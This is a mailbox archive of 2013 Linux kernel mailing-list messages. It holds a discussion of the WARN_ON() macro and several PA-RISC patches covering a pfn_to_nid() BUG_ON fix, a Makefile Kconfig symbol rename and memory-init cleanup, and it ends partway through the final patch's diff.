	r4SGs10w008935 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Tue, 28 May 2013 12:54:06 -0400
Original-Received: from klappe2.localnet
	(HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de
	[95.208.2.43])
	by mrelayeu.kundenserver.de (node=mrbap3) with ESMTP (Nemesis)
	id 0MNLx3-1UoHKd2ayH-006sT9; Tue, 28 May 2013 19:20:43 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <51A4D618.3080208-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
X-Provags-ID: V02:K0:T9zdON3p8ignKaFn6uHF+FOwng79Ud+zIYW3E6Jj1Vf
	yYZdBdP9rgP6vJ30kpWRbZsOE8qhm3SiheVHgaNkVn/GMFEkK8
	o7pyQam73g5/pcZVkaBtncl9COXpuDvhU5rfXNUP29GAa6pAWs
	rXE4iwAqlfaeiLg0t4PMuwxIg58QBe6devTMz0MR4enKqH0ahj
	fOK6RZ2461GWKBJbBqonlUDIrdev5ny4xrIgvJUQnTzgTx5WMn
	f4YF8U+ChFhbwxG/dwFbayh/IVc7pfkhH8EmLZy8NAHF6/dHNA
	kOqsgHalVGVhPUPyiHObNA7lioW3KRdvrCNYYm7/AdOiH8Kpk8
	jIdLkJs8w0idWPgQRpuQ=
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7123 gmane.linux.ports.sh.devel:23378 gmane.linux.kernel.cross-arch:18155 gmane.linux.uml.devel:13951 gmane.linux.uml.user:14502 gmane.linux.ports.arm.kernel:239586 gmane.linux.ports.parisc:5092 gmane.linux.kernel:1497854 gmane.linux.ports.hexagon:603 gmane.linux.ports.ppc64.devel:91101
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7123>

On Tuesday 28 May 2013, H. Peter Anvin wrote:
> On 05/28/2013 08:43 AM, Arnd Bergmann wrote:
> > 
> > Right, that is what the patch I just posted does.
> > 
> > On a related note, I found that WARN_ON() can no longer be compiled
> > out since there is already code that relies on the side-effects of
> > the condition. I assume that was an intentional change I missed,
> > since it used to be defined so that you could remove it completely.
> > 
> 
> It is possible to define WARN_ON() as:
> 
> #define WARN_ON(x) ((void)(x))
> 
> ... which preserves side effects.

Yes, actually the return value has to be maintained as well.
The current (!CONFIG_BUG) default implementation is

#define WARN_ON(condition) ({                                           \
        int __ret_warn_on = !!(condition);                              \
        unlikely(__ret_warn_on);                                        \
})

which seems fine.

#define WARN_ON(condition) unlikely(!!(condition))

is probably just as good.

	Arnd

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50
Date: Tue, 28 May 2013 22:35:54 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20130528203554.GA18344@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369773362 20903 80.91.229.3 (28 May 2013 20:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 20:36:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 28 22:36:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UhQci-0002Ch-L4
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 May 2013 22:36:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756005Ab3E1Uf7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 May 2013 16:35:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58024 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755999Ab3E1Uf7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 May 2013 16:35:59 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MQbrP-1Ur9vs39Yb-00U1jM for
 <linux-parisc@vger.kernel.org>; Tue, 28 May 2013 22:35:57 +0200
Original-Received: (qmail invoked by alias); 28 May 2013 20:35:57 -0000
Original-Received: from p54AD2792.dip0.t-ipconnect.de (EHLO p100.box) [84.173.39.146]
  by mail.gmx.net (mp004) with SMTP; 28 May 2013 22:35:57 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19CI79YsCxCcx/d8tOmwnCpY/pWr4R4U3K4QVTd9h
	XOWyS1bibJJD8w
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5093>

With CONFIG_DISCONTIGMEM=y and multiple physical memory areas,
cat /proc/kpageflags triggers this kernel bug:

kernel BUG at arch/parisc/include/asm/mmzone.h:50!
CPU: 2 PID: 7848 Comm: cat Tainted: G      D W 3.10.0-rc3-64bit #44
 IAOQ[0]: kpageflags_read0x128/0x238
 IAOQ[1]: kpageflags_read0x12c/0x238
 RP(r2): proc_reg_read0xbc/0x130
Backtrace:
 [<00000000402ca2d4>] proc_reg_read0xbc/0x130
 [<0000000040235bcc>] vfs_read0xc4/0x1d0
 [<0000000040235f0c>] SyS_read0x94/0xf0
 [<0000000040105fc0>] syscall_exit0x0/0x14

kpageflags_read() walks through the whole memory, even if some memory
areas are physically not available. So, we should better not BUG on an
unavailable pfn in pfn_to_nid() but just return the expected value -1 or
0.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index 0e625ab..cc50d33 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -39,17 +39,14 @@ extern unsigned char pfnnid_map[PFNNID_MAP_MAX];
 static inline int pfn_to_nid(unsigned long pfn)
 {
 	unsigned int i;
-	unsigned char r;
 
 	if (unlikely(pfn_is_io(pfn)))
 		return 0;
 
 	i = pfn >> PFNNID_SHIFT;
 	BUG_ON(i >= ARRAY_SIZE(pfnnid_map));
-	r = pfnnid_map[i];
-	BUG_ON(r == 0xff);
 
-	return (int)r;
+	return (int)pfnnid_map[i];
 }
 
 static inline int pfn_valid(int pfn)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bolle <pebolle@tiscali.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: rename "CONFIG_PA7100" to "CONFIG_PA7000"
Date: Wed, 29 May 2013 11:56:58 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <1369821418.23034.25.camel@x61.thuisdomein>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369821437 13995 80.91.229.3 (29 May 2013 09:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 May 2013 09:57:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 29 11:57:16 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Uhd88-0007Kx-8s
	for glk-linux-kernel-3@plane.gmane.org; Wed, 29 May 2013 11:57:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965471Ab3E2J5E (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 29 May 2013 05:57:04 -0400
Original-Received: from cpsmtpb-ews08.kpnxchange.com ([213.75.39.13]:50794 "EHLO
	cpsmtpb-ews08.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965107Ab3E2J5C (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 29 May 2013 05:57:02 -0400
Original-Received: from cpsps-ews06.kpnxchange.com ([10.94.84.173]) by cpsmtpb-ews08.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Wed, 29 May 2013 11:56:59 +0200
Original-Received: from CPSMTPM-TLF101.kpnxchange.com ([195.121.3.4]) by cpsps-ews06.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Wed, 29 May 2013 11:56:59 +0200
Original-Received: from [192.168.1.103] ([212.123.139.93]) by CPSMTPM-TLF101.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Wed, 29 May 2013 11:56:58 +0200
X-Mailer: Evolution 3.4.4 (3.4.4-2.fc17) 
X-OriginalArrivalTime: 29 May 2013 09:56:58.0888 (UTC) FILETIME=[DC079080:01CE5C52]
X-RcptDomain: vger.kernel.org
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1498344 gmane.linux.ports.parisc:5094
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1498344>

There's a Makefile line setting cflags for CONFIG_PA7100. But that
Kconfig macro doesn't exist. There is a Kconfig symbol PA7000, which
covers both PA7000 and PA7100 processors. So let's use the corresponding
Kconfig macro.

Signed-off-by: Paul Bolle <pebolle@tiscali.nl>
---
Untested. This needs testing for two reasons:

- the gcc documentation suggests this might not work for PA7000
processors of architecture 1.0 (aka, "PA7000 (PCX)");

- this has line has always been a NOP. See, a comparable line was added
in v2.5.45. It depended on CONFIG_PA7100, which didn't exist. A Kconfig
symbol PA7100 has actually never been part of the tree. (In v2.5.46 the
Kconfig symbol PA7000 was added, but that still kept that line a NOP.)

 arch/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 1976900..96ec398 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -66,7 +66,7 @@ KBUILD_CFLAGS_KERNEL += -mlong-calls
 endif
 
 # select which processor to optimise for
-cflags-$(CONFIG_PA7100)		+= -march=1.1 -mschedule=7100
+cflags-$(CONFIG_PA7000)		+= -march=1.1 -mschedule=7100
 cflags-$(CONFIG_PA7200)		+= -march=1.1 -mschedule=7200
 cflags-$(CONFIG_PA7100LC)	+= -march=1.1 -mschedule=7100LC
 cflags-$(CONFIG_PA7300LC)	+= -march=1.1 -mschedule=7300
-- 
1.7.11.7


From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v6, part4 30/41] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Wed, 29 May 2013 21:57:48 +0800
Lines: 124
Approved: news@gmane.org
Message-ID: <1369835879-23553-31-git-send-email-jiang.liu@huawei.com>
References: <1369835879-23553-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1369836024 18845 80.91.229.3 (29 May 2013 14:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 May 2013 14:00:24 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	David Rientjes <rientjes@google.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed May 29 16:00:22 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UhgvI-00061O-LR
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 May 2013 16:00:17 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id D3E806B00FB; Wed, 29 May 2013 09:59:58 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C25BB6B00FC; Wed, 29 May 2013 09:59:58 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 9E7B66B00FD; Wed, 29 May 2013 09:59:58 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx138.postini.com [74.125.245.138])
	by kanga.kvack.org (Postfix) with SMTP id 17D376B00FB
	for <linux-mm@kvack.org>; Wed, 29 May 2013 09:59:58 -0400 (EDT)
Original-Received: from mail-pd0-f179.google.com ([209.85.192.179]) (using TLSv1) by na3sys010amx138.postini.com ([74.125.244.10]) with SMTP;
	Wed, 29 May 2013 13:59:58 GMT
Original-Received: by mail-pd0-f179.google.com with SMTP id q11so8918550pdj.10
        for <linux-mm@kvack.org>; Wed, 29 May 2013 06:59:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=wn04MpUvUZqp3PQbkNMua+II/3/PF2fp61KXm4WiVbw=;
        b=SETxB6cgzPGqXc/w3yLOIWEcGY0qIsAaQ8jUn4G+quccHsvDHfK8A0m4vsVkTNPvo1
         nMDiGvlXU8yNCmiiqb+FcL0gE1n2wHsM+Xd/obSiWQ7OZ8xQpK+EVhyZjKqjpLAW7Nc3
         nPSI5arCFME5MxyX0x2/wjHSteb5QR0TGq87mbqZoC0YjQ6+8vuK+c6zfuDX88H399dX
         a2wmFVuHidOX6LVBztgVcqQ+Lo159E8Sy5O4/jQunDxz1ruAG7v1hGcHpJ+HSVTfmgUy
         pdau+PabH6ecPRLxakYWS6zAe2nBbYeGpRGNU6rj184fe12lHYehW0PkvnEP25a8uieX
         c67w==
X-Received: by 10.68.88.129 with SMTP id bg1mr3027809pbb.10.1369835997325;
        Wed, 29 May 2013 06:59:57 -0700 (PDT)
Original-Received: from localhost.localdomain (pppoe146.47.east.tokyo.dcn.ne.jp. [219.105.47.146])
        by mx.google.com with ESMTPSA id tq8sm37430401pbc.30.2013.05.29.06.59.53
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 29 May 2013 06:59:56 -0700 (PDT)
X-Mailer: git-send-email 1.8.1.2
In-Reply-To: <1369835879-23553-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv gt4 GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:100919 gmane.linux.kernel.cross-arch:18222 gmane.linux.kernel:1498510 gmane.linux.ports.parisc:5095
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/100919>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c | 47 +++--------------------------------------------
 1 file changed, 3 insertions(+), 44 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 74608f7..3f31102 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);
-
+	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
@@ -1101,7 +1061,6 @@ void flush_tlb_all(void)
 #ifdef CONFIG_BLK_DEV_INITRD
 void free_initrd_mem(unsigned long start, unsigned long end)
 {
-	num_physpages += free_reserved_area((void *)start, (void *)end, -1,
-					    "initrd");
+	free_reserved_area((void *)start, (void *)end, -1, "initrd");
 }
 #endif
-- 
1.8.1.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH, v2 08/13] mm/PARISC: prepare for killing free_all_bootmem_node()
Date: Wed, 29 May 2013 22:44:47 +0800
Lines: 47
Approved: news@gmane.org
Message-ID: <1369838692-26860-9-git-send-email-jiang.liu@huawei.com>
References: <1369838692-26860-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1369838753 19242 80.91.229.3 (29 May 2013 14:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 May 2013 14:45:53 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	David Rientjes <rientjes@google.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed May 29 16:45:51 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UhhdO-0000o0-QD
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 May 2013 16:45:51 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 4BDB26B0125; Wed, 29 May 2013 10:45:43 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 458836B0124; Wed, 29 May 2013 10:45:43 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 05A906B0125; Wed, 29 May 2013 10:45:42 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx114.postini.com [74.125.245.114])
	by kanga.kvack.org (Postfix) with SMTP id 7F1386B0123
	for <linux-mm@kvack.org>; Wed, 29 May 2013 10:45:42 -0400 (EDT)
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]) (using TLSv1) by na3sys010amx114.postini.com ([74.125.244.10]) with SMTP;
	Wed, 29 May 2013 14:45:42 GMT
Original-Received: by mail-pa0-f42.google.com with SMTP id bj1so4113389pad.29
        for <linux-mm@kvack.org>; Wed, 29 May 2013 07:45:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=hDgl8qrzCwB8TLeHRbgLldt4OuzVwXAluJPHvByrfos=;
        b=q55mn+4agW0YCPlWyQVD1wMEQEixGkqI/Mf0ZLMYi4Tcin+Pi7cVYQ5OWbO4+xXWMu
         f/FmhbARADIY6uHbAaUmTFTKsFQyomqx3giBKcgAxiHik+CH6udb8WEBfERdRYD7pt9K
         07qq2NMtZXF55TYLzidacuVelX4bASrM9lm3BaLiyUjli0ZTMRNtELXjQZIvyCSYFI2V
         iS/nKndMSm8Anzfaw/J9FyCc4QZNFI2JU8SvM5N0hw0JztwsUBibS96A5rhtGZiIAdAj
         uDUZ/USNAoqJRxRa50vZkMTO26CsUWVf6epgzF0QU3wAJTcU9ZRoxA5brruRKTfqkdTT
         7PvQ==
X-Received: by 10.66.248.40 with SMTP id yj8mr3682060pac.95.1369838741582;
        Wed, 29 May 2013 07:45:41 -0700 (PDT)
Original-Received: from localhost.localdomain (pppoe146.47.east.tokyo.dcn.ne.jp. [219.105.47.146])
        by mx.google.com with ESMTPSA id zs12sm40209652pab.0.2013.05.29.07.45.38
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 29 May 2013 07:45:40 -0700 (PDT)
X-Mailer: git-send-email 1.8.1.2
In-Reply-To: <1369838692-26860-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 1/1/1.00/100
X-pstn-levels: (S:78.49246/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv gt4 GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:100944 gmane.linux.kernel.cross-arch:18247 gmane.linux.kernel:1498555 gmane.linux.ports.parisc:5096
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/100944>

Prepare for killing free_all_bootmem_node() by using
free_all_bootmem().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 3f31102..cf4ca13 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -585,18 +585,8 @@ void __init mem_init(void)
